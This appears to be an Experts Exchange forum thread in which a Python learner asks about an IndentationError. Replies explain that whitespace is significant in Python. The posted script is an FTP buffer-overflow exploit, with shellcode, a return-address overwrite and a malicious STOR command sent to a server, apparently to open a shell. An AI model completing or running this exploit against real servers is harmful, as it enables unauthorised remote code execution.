Solved

HELP unexpected indent error python

Posted on 2011-09-29
3
820 Views
Last Modified: 2013-11-13
Hello,
I am  learning python, but I have a  problem, I am trying to run a  python script, but I cannot  get it done. it seems  that there is  a  problem with  an   IndentationError: unexpected indent error, just before  the  except:  block.

I have  searched and  found that it might be  a  missing colon, I have  tried  several  options, but  I not able  to  find  where the problem is,

Can  anyone  help me?, any  advice please...

this is  the script:

import ftplib
from ftplib import FTP
import struct
print "\n\n################################"
print "###################################"

# Shellcode

sc = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x74"
"\x59\x14\x73\x83\xeb\xfc\xe2\xf4\x88\x33\xff\x3e\x9c\xa0\xeb\x8c"
"\xff\x0e\xe8\xf0\xb0\x3d\xeb\xa5\x26\xa6\xc4\x1b\x84\xd3\x10\x2c"
"\x27\xa6\xc2\x8c\xa4\x59\x14\x73";

buffer = '\x41'*966+struct.pack('<L', 0x77DF2740)+'\x42'*32+sc

try:


 ftp=FTP('192.168.13.54')
 ftp.login('ftp','ftp')
 print "\Try connecting with netcat."
 except:
 print "\nCould not Connect to FTP Server."
 try:
 ftp.transfercmd("STOR " + buffer)

 except:
 print "\nDone."

//////////***********************////////////
brown@:~#python ftpshell.py
  File "ftpshell.py", line
    except:
    ^
IndentationError: unexpected indent
0
Comment
Question by:Blkmbm9
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
3 Comments
 
LVL 31

Expert Comment

by:farzanj
ID: 36818835
Python is very indentation and white space sensitive.

Remove the spaces/tab in front of except:
0
 
LVL 2

Accepted Solution

by:
xeltek earned 250 total points
ID: 36819047
Hi,
Whitespace and tab are significant in Python code.

There is a tool in your Python installation. You can find a Q/A here for more information.
http://stackoverflow.com/questions/1024435/howto-fix-python-indentation
0
 

Author Closing Comment

by:Blkmbm9
ID: 36892105
Thank you  so much!
0

Featured Post

Free Tool: Subnet Calculator

The subnet calculator helps you design networks by taking an IP address and network mask and returning information such as network, broadcast address, and host range.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

In this post we will learn how to make Android Gesture Tutorial and give different functionality whenever a user Touch or Scroll android screen.
Computer science students often experience many of the same frustrations when going through their engineering courses. This article presents seven tips I found useful when completing a bachelors and masters degree in computing which I believe may he…
Learn the basics of strings in Python: declaration, operations, indices, and slicing. Strings are declared with quotations; for example: s = "string": Strings are immutable.: Strings may be concatenated or multiplied using the addition and multiplic…
Introduction to Processes

690 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question